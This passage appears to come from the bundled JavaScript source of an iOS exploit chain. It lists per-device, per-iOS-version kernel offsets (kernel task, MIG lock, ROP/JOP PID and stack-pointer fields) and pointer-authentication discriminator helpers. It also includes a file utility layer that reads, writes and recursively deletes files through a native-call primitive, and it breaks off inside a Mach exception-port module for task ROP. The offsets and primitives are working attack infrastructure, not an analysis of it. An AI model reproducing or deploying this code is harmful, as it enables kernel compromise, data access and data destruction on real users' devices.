kernelTask: 0xad6c88n, + migLock: 0x38e7468n, + migSbxMsg: 0x38e7488n, + migKernelStackLR: 0x31bf5a0n, + } + } + }, + "5": { + 23: { + 4: { + kernelTask: 0x974588n + }, + 5: { + kernelTask: 0x9789d8n + }, + 6: { + kernelTask: 0x974938n + }, + 6.1: { + kernelTask: 0x974988n + } + }, + 24: { + 0: { + kernelTask: 0xa49488n + }, + 1: { + kernelTask: 0xa4d4a0n + }, + 2: { + kernelTask: 0xa558c8n + }, + 3: { + kernelTask: 0xa4d8c8n + }, + 4: { + kernelTask: 0xacea90n + }, + 5: { + kernelTask: 0xad6b78n, + migLock: 0x38d74e8n, + migSbxMsg: 0x38d7508n, + migKernelStackLR: 0x31b19e4n, + }, + 6: { + kernelTask: 0xad6c88n, + migLock: 0x38e7468n, + migSbxMsg: 0x38e7488n, + migKernelStackLR: 0x31bf5a0n, + } + } + }, + "8": { + 23: { + 4: { + kernelTask: 0x960588n + }, + 5: { + kernelTask: 0x9649d8n + }, + 6: { + kernelTask: 0x964938n + }, + 6.1: { + kernelTask: 0x964988n + } + }, + 24: { + 0: { + kernelTask: 0xa35488n + }, + 1: { + kernelTask: 0xa354a0n + }, + 2: { + kernelTask: 0xa3d8c8n + }, + 3: { + kernelTask: 0xa358c8n + }, + 4: { + kernelTask: 0xab6a90n + }, + 5: { + kernelTask: 0xabeb78n + }, + 6: { + kernelTask: 0xac2c88n, + migLock: 0x387a8e8n, + migSbxMsg: 0x387a908n, + migKernelStackLR: 0x3156f20n, + } + } + } + }, + + // iPhone 12 + // iPhone 12 Mini + // iPhone 12 Pro + // iPhone 12 Pro Max + "iPhone13": { + "*": { + 23: { + 0: { + pComm: 0x568n, + excGuard: 0x5bcn, + kstackptr: 0xf0n, + ropPid: 0x158n, + jopPid: 0x160n, + guardExcCode: 0x318n, + taskThreads: 0x358n, + tro: 0x368n, + ast: 0x38cn, + mutexData: 0x390n, + ctid: 0x418n, + troTask: 0x20n + }, + 3: { + kernelTask: 0x94c2d0n, + guardExcCode: 0x328n, + taskThreads: 0x368n, + tro: 0x378n, + ast: 0x39cn, + mutexData: 0x3a8n, + ctid: 0x428n + }, + 4: { + kernelTask: 0x9546e0n, + pComm: 0x56cn, + troTask: 0x28n, + guardExcCode: 0x330n, + taskThreads: 0x370n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n, + procRO: 0x388n + }, + 5: { + kernelTask: 0x954b30n + }, + 6: { + kernelTask: 0x954a90n + }, + 6.1: { + kernelTask: 0x954ae0n + } + }, + 24: { + 0: { + kernelTask: 0xa295e0n, + pComm: 0x56cn, + procRO: 0x3a0n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5dcn, + kstackptr: 0xf8n, + ropPid: 0x160n, + jopPid: 0x168n, + guardExcCode: 0x330n, + taskThreads: 0x380n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 1: { + kernelTask: 0xa2d5f8n, + taskThreads: 0x378n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n + }, + 2: { + kernelTask: 0xa35a20n + }, + 3: { + kernelTask: 0xa2da20n + }, + 4: { + kernelTask: 0xa9ebe8n, + procRO: 0x3c0n, + excGuard: 0x5fcn, + taskThreads: 0x380n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n, + migLock: 0x37b8b80n, + migSbxMsg: 0x37b8ba0n, + migKernelStackLR: 0x3190fa0n + }, + 5: { + kernelTask: 0xaa6cd0n, + migLock: 0x37d4c90n, + migSbxMsg: 0x37d4cb0n, + migKernelStackLR: 0x31acce4n + }, + 6: { + kernelTask: 0xaaade0n, + guardExcCode: 0x338n, + taskThreads: 0x388n, + tro: 0x390n, + ast: 0x3b4n, + mutexData: 0x3c0n, + ctid: 0x440n, + migLock: 0x37dcc90n, + migSbxMsg: 0x37dccb0n, + migKernelStackLR: 0x31b5b60n, + } + } + } + }, + + // iPhone 13 + // iPhone 13 Mini + // iPhone 13 Pro + // iPhone 13 Pro Max + // iPhone SE 3 + // iPhone 14 + // iPhone 14 Plus + "iPhone14": { + "*": { + 23: { + 0: { + pComm: 0x568n, + excGuard: 0x5d4n, + kstackptr: 0xf0n, + ropPid: 0x160n, + jopPid: 0x168n, + guardExcCode: 0x330n, + taskThreads: 0x370n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n, + troTask: 0x20n + }, + 3: { + kernelTask: 0x918ee0n, + }, + 4: { + kernelTask: 0x91d318n, + pComm: 0x56cn, + troTask: 0x28n, + guardExcCode: 0x338n, + taskThreads: 0x378n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 5: { + kernelTask: 0x925770n + }, + 6: { + kernelTask: 0x9256d0n + }, + 6.1: { + kernelTask: 0x925720n + } + }, + 24: { + 0: { + kernelTask: 0x9f6230n, + pComm: 0x56cn, + procRO: 0x3b8n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5f4n, + kstackptr: 0xf8n, + ropPid: 0x168n, + jopPid: 0x170n, + guardExcCode: 0x338n, + taskThreads: 0x388n, + tro: 0x390n, + ast: 0x3b4n, + mutexData: 0x3c0n, + ctid: 0x440n + }, + 1: { + kernelTask: 0x9f6248n, + taskThreads: 0x380n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 2: { + kernelTask: 0xa02678n + }, + 3: { + kernelTask: 0x9fa678n + }, + 4: { + kernelTask: 0xa67b18n, + procRO: 0x3e0n, + excGuard: 0x624n, + taskThreads: 0x388n, + tro: 0x390n, + ast: 0x3b4n, + mutexData: 0x3c0n, + ctid: 0x448n, + migLock: 0x382c218n, + migSbxMsg: 0x382c238n, + migKernelStackLR: 0x317d020n + }, + 5: { + kernelTask: 0xa6fc00n, + migLock: 0x3848428n, + migSbxMsg: 0x3848448n, + migKernelStackLR: 0x31994a4n + }, + 6: { + kernelTask: 0xa73d10n, + guardExcCode: 0x340n, + taskThreads: 0x390n, + tro: 0x398n, + ast: 0x3bcn, + mutexData: 0x3c8n, + ctid: 0x450n, + migLock: 0x38543a8n, + migSbxMsg: 0x38543c8n, + migKernelStackLR: 0x31a27e0n, + } + } + }, + "6": { + 23: { + 4: { + kernelTask: 0x92d318n + }, + 5: { + kernelTask: 0x935770n + }, + 6: { + kernelTask: 0x9316d0n + }, + 6.1: { + kernelTask: 0x931720n + } + }, + 24: { + 0: { + kernelTask: 0xa06230n + }, + 1: { + kernelTask: 0xa06248n + }, + 2: { + kernelTask: 0xa12678n + }, + 3: { + kernelTask: 0xa0a678n + }, + 4: { + kernelTask: 0xa77b18n, + migLock: 0x3898c18n, + migSbxMsg: 0x3898c38n, + migKernelStackLR: 0x31dff60n + }, + 5: { + kernelTask: 0xa7fc00n, + migLock: 0x38b4e28n, + migSbxMsg: 0x38b4e48n, + migKernelStackLR: 0x31fc3e4n + }, + 6: { + kernelTask: 0xa83d10n, + migLock: 0x38bcda8n, + migSbxMsg: 0x38bcdc8n, + migKernelStackLR: 0x3205560n, + } + } + }, + "7": { + 23: { + 4: { + kernelTask: 0x919318n + }, + 5: { + kernelTask: 0x921770n + }, + 6: { + kernelTask: 0x9216d0n + }, + 6.1: { + kernelTask: 0x921720n + } + }, + 24: { + 0: { + kernelTask: 0x9f2230n + }, + 1: { + kernelTask: 0x9f2248n + }, + 2: { + kernelTask: 0x9fe678n + }, + 3: { + kernelTask: 0x9f6678n + }, + 4: { + kernelTask: 0xa67b18n, + migLock: 0x3813d98n, + migSbxMsg: 0x3813db8n, + migKernelStackLR: 0x3163ae0n + }, + 5: { + kernelTask: 0xa6fc00n, + migLock: 0x382ffa8n, + migSbxMsg: 0x382ffc8n, + migKernelStackLR: 0x317ffa4n + }, + 6: { + kernelTask: 0xa6fd10n, + migLock: 0x3833fa8n, + migSbxMsg: 0x3833fc8n, + migKernelStackLR: 0x31852a0n, + } + } + }, + "8": { + 23: { + 4: { + kernelTask: 0x919318n + }, + 5: { + kernelTask: 0x921770n + }, + 6: { + kernelTask: 0x9216d0n + }, + 6.1: { + kernelTask: 0x921720n + } + }, + 24: { + 0: { + kernelTask: 0x9f2230n + }, + 1: { + kernelTask: 0x9f2248n + }, + 2: { + kernelTask: 0x9fe678n + }, + 3: { + kernelTask: 0x9f6678n + }, + 4: { + kernelTask: 0xa67b18n, + migLock: 0x3813d98n, + migSbxMsg: 0x3813db8n, + migKernelStackLR: 0x3163ae0n + }, + 5: { + kernelTask: 0xa6fc00n, + migLock: 0x382ffa8n, + migSbxMsg: 0x382ffc8n, + migKernelStackLR: 0x317ffa4n + }, + 6: { + kernelTask: 0xa6fd10n, + migLock: 0x3833fa8n, + migSbxMsg: 0x3833fc8n, + migKernelStackLR: 0x31852a0n, + } + } + } + }, + + // iPhone 14 Pro + // iPhone 14 Pro Max + // iPhone 15 + // iPhone 15 Plus + "iPhone15": { + "*": { + 23: { + 0: { + pComm: 0x568n, + excGuard: 0x5d4n, + kstackptr: 0xf0n, + ropPid: 0x160n, + jopPid: 0x168n, + guardExcCode: 0x330n, + taskThreads: 0x370n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n, + troTask: 0x20n + }, + 3: { + kernelTask: 0x914e00n, + }, + 4: { + kernelTask: 0x919238n, + pComm: 0x56cn, + troTask: 0x28n, + guardExcCode: 0x338n, + taskThreads: 0x378n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 5: { + kernelTask: 0x921690n + }, + 6: { + kernelTask: 0x9215f0n + }, + 6.1: { + kernelTask: 0x921640n + }, + 6.2: { + kernelTask: 0x91d640n + } + }, + 24: { + 0: { + kernelTask: 0x9ee150n, + pComm: 0x56cn, + procRO: 0x3b8n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5f4n, + kstackptr: 0xf8n, + ropPid: 0x168n, + jopPid: 0x170n, + guardExcCode: 0x338n, + taskThreads: 0x388n, + tro: 0x390n, + ast: 0x3b4n, + mutexData: 0x3c0n, + ctid: 0x440n + }, + 1: { + kernelTask: 0x9f2168n, + taskThreads: 0x380n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 2: { + kernelTask: 0x9fe598n + }, + 3: { + kernelTask: 0x9f6598n + }, + 4: { + kernelTask: 0xa67c18n, + procRO: 0x3e0n, + excGuard: 0x624n, + taskThreads: 0x388n, + tro: 0x390n, + ast: 0x3b4n, + mutexData: 0x3c0n, + ctid: 0x448n, + migLock: 0x37863f8n, + migSbxMsg: 0x3786418n, + migKernelStackLR: 0x3131620n + }, + 5: { + kernelTask: 0xa6fd00n, + migLock: 0x37a2788n, + migSbxMsg: 0x37a27a8n, + migKernelStackLR: 0x314dc24n + }, + 6: { + kernelTask: 0xa6fe10n, + guardExcCode: 0x340n, + taskThreads: 0x390n, + tro: 0x398n, + ast: 0x3bcn, + mutexData: 0x3c8n, + ctid: 0x450n, + migLock: 0x37aa708n, + migSbxMsg: 0x37aa728n, + migKernelStackLR: 0x3152ee0n + } + } + }, + "4": { + 23: { + 4: { + kernelTask: 0x941238n + }, + 5: { + kernelTask: 0x949690n + }, + 6: { + kernelTask: 0x9495f0n + }, + 6.1: { + kernelTask: 0x949640n + } + }, + 24: { + 0: { + kernelTask: 0xa2a150n + }, + 1: { + kernelTask: 0xa2a168n + }, + 2: { + kernelTask: 0xa3a598n + }, + 3: { + kernelTask: 0xa32598n + }, + 4: { + kernelTask: 0xaa3c18n, + migLock: 0x38c5388n, + migSbxMsg: 0x38c53a8n, + migKernelStackLR: 0x325f1e0n + }, + 5: { + kernelTask: 0xaa7d00n, + migLock: 0x38dd698n, + migSbxMsg: 0x38dd6b8n, + migKernelStackLR: 0x32777e4n + }, + 6: { + kernelTask: 0xaabe10n, + migLock: 0x38e5618n, + migSbxMsg: 0x38e5638n, + migKernelStackLR: 0x3280aa0n, + } + } + }, + "5": { + 23: { + 4: { + kernelTask: 0x941238n + }, + 5: { + kernelTask: 0x949690n + }, + 6: { + kernelTask: 0x9495f0n + }, + 6.1: { + kernelTask: 0x949640n + } + }, + 24: { + 0: { + kernelTask: 0xa2a150n + }, + 1: { + kernelTask: 0xa2a168n + }, + 2: { + kernelTask: 0xa3a598n + }, + 3: { + kernelTask: 0xa32598n + }, + 4: { + kernelTask: 0xaa3c18n, + migLock: 0x38c5388n, + migSbxMsg: 0x38c53a8n, + migKernelStackLR: 0x325f1e0n + }, + 5: { + kernelTask: 0xaa7d00n, + migLock: 0x38dd698n, + migSbxMsg: 0x38dd6b8n, + migKernelStackLR: 0x32777e4n + }, + 6: { + kernelTask: 0xaabe10n, + migLock: 0x38e5618n, + migSbxMsg: 0x38e5638n, + migKernelStackLR: 0x3280aa0n, + } + } + } + }, + + // iPhone 15 Pro + // iPhone 15 Pro Max + "iPhone16": { + "*": { + 23: { + 0: { + pComm: 0x568n, + excGuard: 0x5d4n, + kstackptr: 0x140n, + ropPid: 0x1b0n, + jopPid: 0x1b8n, + guardExcCode: 0x380n, + taskThreads: 0x3c0n, + tro: 0x3d0n, + ast: 0x3f4n, + mutexData: 0x400n, + ctid: 0x480n, + troTask: 0x20n + }, + 3: { + kernelTask: 0x978ef0n, + }, + 4: { + kernelTask: 0x991eb0n, + pComm: 0x56cn, + troTask: 0x28n, + options: 0xc0n, + guardExcCode: 0x388n, + taskThreads: 0x3c8n, + tro: 0x3d8n, + ast: 0x3fcn, + mutexData: 0x408n, + ctid: 0x488n + }, + 5: { + kernelTask: 0x99a308n, + }, + 6: { + kernelTask: 0x99a268n + }, + 6.1: { + kernelTask: 0x99a2b8n + }, + 6.2: { + kernelTask: 0x9962b8n + } + }, + 24: { + 0: { + kernelTask: 0xaae870n, + pComm: 0x56cn, + procRO: 0x3b8n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5f4n, + kstackptr: 0x148n, + ropPid: 0x1b8n, + jopPid: 0x1c0n, + guardExcCode: 0x388n, + taskThreads: 0x3d8n, + tro: 0x3e0n, + ast: 0x404n, + mutexData: 0x410n, + ctid: 0x490n, + options: 0xc0n + }, + 1: { + kernelTask: 0xaae888n, + taskThreads: 0x3d0n, + tro: 0x3d8n, + ast: 0x3fcn, + mutexData: 0x408n, + ctid: 0x488n + }, + 2: { + kernelTask: 0xab6cb8n + }, + 3: { + kernelTask: 0xab2cb8n + }, + 4: { + kernelTask: 0xb23d28n, + procRO: 0x3e0n, + excGuard: 0x624n, + taskThreads: 0x3d8n, + tro: 0x3e0n, + ast: 0x404n, + mutexData: 0x410n, + ctid: 0x498n, + migLock: 0x3c03ef0n, + migSbxMsg: 0x3c03f10n, + migKernelStackLR: 0x3582fe0n + }, + 5: { + kernelTask: 0xb2be10n, + migLock: 0x3c181a8n, + migSbxMsg: 0x3c181c8n, + migKernelStackLR: 0x35993a4n + }, + 6: { + kernelTask: 0xb2ff20n, + guardExcCode: 0x390n, + taskThreads: 0x3e0n, + tro: 0x3e8n, + ast: 0x40cn, + mutexData: 0x418n, + ctid: 0x4a0n, + migLock: 0x3c241a8n, + migSbxMsg: 0x3c241c8n, + migKernelStackLR: 0x35a26a0n, + } + } + } + }, + // iPhone 16 + // iPhone 16 plus + // iPhone 16 pro + // iPhone 16 pro max + "iPhone17": { + "*": { + 24: { + 0: { + kernelTask: 0xb7e1c8n, + pComm: 0x56cn, + procRO: 0x3b8n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5fcn, + kstackptr: 0x148n, + ropPid: 0x1b8n, + jopPid: 0x1c0n, + guardExcCode: 0x390n, + taskThreads: 0x3e0n, + tro: 0x3e8n, + ast: 0x40cn, + mutexData: 0x418n, + ctid: 0x4a8n, + options: 0xc0n + }, + 1: { + kernelTask: 0xb7e1e0n, + taskThreads: 0x3d8n, + tro: 0x3e0n, + ast: 0x404n, + mutexData: 0x410n, + ctid: 0x4a0n, + }, + 2: { + kernelTask: 0xb86610n + }, + 3: { + kernelTask: 0xb82610n + }, + 4: { + kernelTask: 0xc0fd80n, + procRO: 0x3e0n, + excGuard: 0x624n, + taskThreads: 0x3e0n, + tro: 0x3e8n, + ast: 0x40cn, + mutexData: 0x418n, + ctid: 0x4a8n, + migLock: 0x4042dc0n, + migSbxMsg: 0x4042de0n, + migKernelStackLR: 0x3912aa0n + }, + 5: { + kernelTask: 0xc17e68n, + migLock: 0x405eff8n, + migSbxMsg: 0x405f018n, + migKernelStackLR: 0x392be64n + }, + 6: { + kernelTask: 0xc1bf78n, + guardExcCode: 0x398n, + taskThreads: 0x3e8n, + tro: 0x3f0n, + ast: 0x414n, + mutexData: 0x420n, + ctid: 0x4b0n, + migLock: 0x4066f88n, + migSbxMsg: 0x4066fa8n, + migKernelStackLR: 0x39352e0n, + } + } + }, + "5": { + 24: { + 0: { + kernelTask: 0xb7e1c8n, + pComm: 0x56cn, + procRO: 0x3b8n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5fcn, + kstackptr: 0x148n, + ropPid: 0x1b8n, + jopPid: 0x1c0n, + guardExcCode: 0x390n, + taskThreads: 0x3e0n, + tro: 0x3e8n, + ast: 0x40cn, + mutexData: 0x418n, + ctid: 0x4a8n, + options: 0xc0n + }, + 1: { + kernelTask: 0xb7e1e0n, + taskThreads: 0x3d8n, + tro: 0x3e0n, + ast: 0x404n, + mutexData: 0x410n, + ctid: 0x4a0n, + }, + 2: { + kernelTask: 0xb86610n + }, + 3: { + kernelTask: 0xb82610n + }, + 4: { + kernelTask: 0xc0fd80n, + procRO: 0x3e0n, + excGuard: 0x624n, + taskThreads: 0x3e0n, + tro: 0x3e8n, + ast: 0x40cn, + mutexData: 0x418n, + ctid: 0x4a8n, + migLock: 0x408acd0n, + migSbxMsg: 0x408acf0n, + migKernelStackLR: 0x396e4a0n + }, + 5: { + kernelTask: 0xc17e68n, + migLock: 0x40a6f08n, + migSbxMsg: 0x40a6f28n, + migKernelStackLR: 0x3987924n + }, + 6: { + kernelTask: 0xc1ff78n, + guardExcCode: 0x398n, + taskThreads: 0x3e8n, + tro: 0x3f0n, + ast: 0x414n, + mutexData: 0x420n, + ctid: 0x4b0n, + migLock: 0x40b6e98n, + migSbxMsg: 0x40b6eb8n, + migKernelStackLR: 0x3998de0n, + } + } + } + } +} + + +/***/ }), + +/***/ "./src/libs/JSUtils/FileUtils.js": +/*!***************************************!*\ + !*** ./src/libs/JSUtils/FileUtils.js ***! + \***************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ FileUtils) +/* harmony export */ }); + + +const TAG = "FILE-UTILS"; + +const O_RDONLY = 0x0000; +const O_WRONLY = 0x0001; +const O_RDWR = 0x0002; +const O_APPEND = 0x0008; +const O_CREAT = 0x0200; +const O_TRUNC = 0x0400; +const O_EVTONLY = 0x8000; + +const ERROR = -1; + +const DT = { + DT_UNKNOWN: 0, + DT_FIFO: 1, + DT_CHR: 2, + DT_DIR: 4, + DT_BLK: 6, + DT_REG: 8, + DT_LNK: 10, + DT_SOCK: 12, + DT_WHT: 14 +}; + +const SEEK_SET = 0; + +class FileUtils { + + + static open(path) { + const fd = Native.callSymbol("open", path, O_RDONLY); + if (fd == ERROR) { + console.log(TAG, "Unable to open: " + path); + return false; + } + return fd; + } + + static close(fd) { + Native.callSymbol("close", fd); + } + + static read(fd, size=0) { + if (!size || size > Native.memSize) + size = Native.memSize; + const len = Native.callSymbol("read", fd, Native.mem, size); + if (!len || len == ERROR) + return false; + const buff = Native.read(Native.mem, len); + return buff; + } + + static readFile(path, seek=0, length=0) { + const fd = this.open(path); + if (fd === false) + return null; + + let data = new Uint8Array(); + + if (seek) + Native.callSymbol("lseek", fd, seek, SEEK_SET); + + let remaining = length; + + while (true) { + let size = remaining ? remaining : Native.memSize; + if (size > Native.memSize) + size = Native.memSize; + const buff = this.read(fd, size); + if (buff === false) + break; + const buff8 = new Uint8Array(buff); + let newData = new Uint8Array(data.length + buff8.length); + newData.set(data, 0); + newData.set(buff8, data.length); + data = newData; + + if (remaining) { + remaining -= buff.byteLength; + if (!remaining) + break; + } + } + + this.close(fd); + + return data.buffer; + } + + static writeFile(path, data) { + return this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_TRUNC); + } + + static appendFile(path, data) { + return this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_APPEND); + } + + static deleteFile(path) { + Native.callSymbol("unlink", path); + } + static foreachDir(path, func) { + let dir = Native.callSymbol("opendir", path); + if (!dir) { + console.log(TAG, "Unable to open dir: " + path); + return; + } + + while (true) { + let item = this.#readdir(dir); + if (!item) + break; + + switch (item.d_type) { + case DT.DT_DIR: + if (item.d_name.startsWith(".")) + break; + func(item.d_name); + break; + } + } + + Native.callSymbol("closedir", dir); + } + + static foreachFile(path, func) { + let dir = Native.callSymbol("opendir", path); + if (!dir) { + console.log(TAG, "Unable to open dir: " + path); + return false; + } + + while (true) { + let item = this.#readdir(dir); + if (!item) + break; + + switch (item.d_type) { + case DT.DT_REG: + func(item.d_name); + break; + } + } + + Native.callSymbol("closedir", dir); + return true; + } + + static createDir(path, permission=0o755) { + return !Native.callSymbol("mkdir", path, permission); + } + + static deleteDir(path, recursive=false) { + if (recursive) { + const dir = Native.callSymbol("opendir", path); + if (!dir) { + console.log(TAG, "deleteDir: Unable to open dir: " + path); + return false; + } + + while (true) { + const item = this.#readdir(dir); + if (!item) + break; + + const newPath = path + '/' + item.d_name; + + switch (item.d_type) { + case DT.DT_DIR: + if (item.d_name.startsWith(".")) + break; + this.deleteDir(newPath, true); + break; + + case DT.DT_REG: + console.log(TAG, `deleting: ${newPath}`); + this.deleteFile(newPath); + break; + } + } + + Native.callSymbol("closedir", dir); + } + + return !Native.callSymbol("rmdir", path); + } + + static exists(path, permission=0/*F_OK*/) { + return !Native.callSymbol("access", path, permission); + } + + static stat(path) { + const ret = Native.callSymbol("stat", path, Native.mem); + if (ret == ERROR) + return null; + const buff = Native.read(Native.mem, 144); + const view = new DataView(buff); + + const dev = view.getInt32(0, true); + const mode = view.getUint16(0x4, true); + const nlink = view.getUint16(0x6, true); + const ino = view.getBigUint64(0x8, true); + const uid = view.getUint32(0x10, true); + const gid = view.getUint32(0x14, true); + const atime_tv_sec = view.getBigInt64(0x20, true); + const mtime_tv_sec = view.getBigInt64(0x30, true); + const ctime_tv_sec = view.getBigInt64(0x40, true); + const size = view.getBigInt64(0x60, true); + + return { + mode: Number(mode), + ino: Number(ino), + dev: Number(dev), + nlink: Number(nlink), + uid: Number(uid), + gid: Number(gid), + size: Number(size), + atime: Number(atime_tv_sec), + mtime: Number(mtime_tv_sec), + ctime: Number(ctime_tv_sec) + }; + } + + static #readdir(dir) { + const itemPtr = Native.callSymbol("readdir", dir); + if (!itemPtr) + return null; + + const item = Native.read(itemPtr, 24); + const view = new DataView(item); + + const d_ino = view.getBigUint64(0, true); + const d_namlen = view.getUint16(18, true); + const d_type = view.getUint8(20); + const d_name = Native.readString(itemPtr + 21n, d_namlen + 1); + + return { + d_ino: d_ino, + d_type: d_type, + d_name: d_name + }; + } + + static #commonWriteFile(path, data, flags) { + const fd = Native.callSymbol("open", path, flags, 0o644); + if (fd == ERROR) { + console.log(TAG, "Unable to open: " + path); + return false; + } + + // For some reason file mode is not applied on open() + Native.callSymbol("fchmod", fd, 0o644); + + let offs = 0; + let left = data.byteLength; + + const buffSize = 0x4000; + const buffPtr = Native.callSymbol("malloc", buffSize); + + while (true) { + const size = left > buffSize ? buffSize : left; + const src8 = new Uint8Array(data, offs, size); + const dst8 = new Uint8Array(src8); + Native.write(buffPtr, dst8.buffer); + const len = Native.callSymbol("write", fd, buffPtr, size); + if (!len || len == ERROR) + break; + offs += len; + left -= len; + if (!left) + break; + } + + Native.callSymbol("free", buffPtr); + Native.callSymbol("close", fd); + + return true; + } +} + + +/***/ }), + +/***/ "./src/libs/JSUtils/Utils.js": +/*!***********************************!*\ + !*** ./src/libs/JSUtils/Utils.js ***! + \***********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Utils) +/* harmony export */ }); + + +const TAG = "UTILS"; + +const DT = { + DT_UNKNOWN: 0, + DT_FIFO: 1, + DT_CHR: 2, + DT_DIR: 4, + DT_BLK: 6, + DT_REG: 8, + DT_LNK: 10, + DT_SOCK: 12, + DT_WHT: 14 +}; + +class Utils { + + static UINT64_SIZE = 8; + static UINT32_SIZE = 4; + static UINT16_SIZE = 2; + static ARM_THREAD_STATE64 = 6; + static ARM_THREAD_STATE64_SIZE = 0x110; + static ARM_THREAD_STATE64_COUNT = (this.ARM_THREAD_STATE64_SIZE / this.UINT32_SIZE); + static ptrauth_key_asia = 0; + static EXC_BAD_ACCESS = 1n; + static EXC_GUARD = 12n; + static EXC_MASK_GUARD = (1n << this.EXC_GUARD); + static EXC_MASK_BAD_ACCESS = (1n << this.EXC_BAD_ACCESS); + static EXCEPTION_STATE = 2n; + static MACH_EXCEPTION_CODES = 0x80000000n; + static PAGE_SIZE = 0x4000n; + static PAGE_MASK = (this.PAGE_SIZE - 1n); + + static hex(val) { + return val.toString(16); + } + + static memmem(haystack, needle) { + const hLen = haystack.byteLength; + const nLen = needle.byteLength; + + if (nLen === 0 || hLen < nLen) { + return 0; + } + + const haystackView = new Uint8Array(haystack); + const needleView = new Uint8Array(needle); + + for (let i = 0; i <= hLen - nLen; i++) { + let found = true; + for (let j = 0; j < nLen; j++) { + if (haystackView[i + j] !== needleView[j]) { + found = false; + break; + } + } + if (found) { + return i; + } + } + + return 0; + } + + static ptrauth_string_discriminator(discriminator) + { + switch (discriminator) { + case "pc": + return 0x7481n; + case "lr": + return 0x77d3n; + case "sp": + return 0xcbedn; + case "fp": + return 0x4517n; + default: + console.log(TAG,`Cannot find discriminator for value:${discriminator}`); + return 0n; + } + } + + static ptrauth_string_discriminator_special(discriminator) + { + switch (discriminator) { + case "pc": + return 0x7481000000000000n; + case "lr": + return 0x77d3000000000000n; + case "sp": + return 0xcbed000000000000n; + case "fp": + return 0x4517000000000000n; + default: + console.log(TAG,`Cannot find discriminator for value:${discriminator}`); + return 0n; + } + } + + static ptrauth_blend_discriminator(diver,discriminator) + { + return diver & 0xFFFFFFFFFFFFn | discriminator; + } + + static printArrayBufferInChunks(buffer) { + const view = new DataView(buffer); + const chunkSize = 8; + + for (let i = 0; i < buffer.byteLength; i += chunkSize) { + // Read the chunk as a BigInt + const chunk = view.getBigUint64(i, true); // Little-endian + + console.log(TAG, `0x${Utils.hex(i)}: ${Utils.hex(chunk)}`); + } + } + + static MIN(a, b) + { + if(a < b) + return a; + return b; + } + + static MAX(a, b) + { + if(a > b) + return a; + return b; + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/Exception.js": +/*!***************************************!*\ + !*** ./src/libs/TaskRop/Exception.js ***! + \***************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Exception) +/* harmony export */ }); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./ExceptionMessageStruct */ "./src/libs/TaskRop/ExceptionMessageStruct.js"); +/* harmony import */ var _ExceptionReplyStruct__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./ExceptionReplyStruct */ "./src/libs/TaskRop/ExceptionReplyStruct.js"); +/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); + + +const TAG = "EXCEPTION"; + +const MPO_INSERT_SEND_RIGHT = 0x10; +const MPO_PROVISIONAL_ID_PROT_OPTOUT = 0x8000; +const MACH_SEND_MSG = 0x00000001n; +const MACH_RCV_MSG = 0x00000002n; +const MACH_SEND_TIMEOUT = 0x00000010n; +const MACH_RCV_TIMEOUT = 0x00000100n; +const MACH_MSG_TYPE_MOVE_SEND_ONCE = 18; + +class Exception +{ + static ExceptionMessageSize = 0x160n; + static ExceptionReplySize = 0x13cn; + + static createPort() + { + let options = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; + const buffer = new ArrayBuffer(8); + const view = new DataView(buffer); + view.setUint32(0, MPO_INSERT_SEND_RIGHT | MPO_PROVISIONAL_ID_PROT_OPTOUT, true); + view.setUint32(4, 0, true); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(options, buffer); + let exceptionPortPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x100n; + let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_construct",0x203, options, 0n, exceptionPortPtr); + if (kr != 0) + { + console.log(TAG,`Error creating exception port:${kr}`); + return 0; + } + let port = 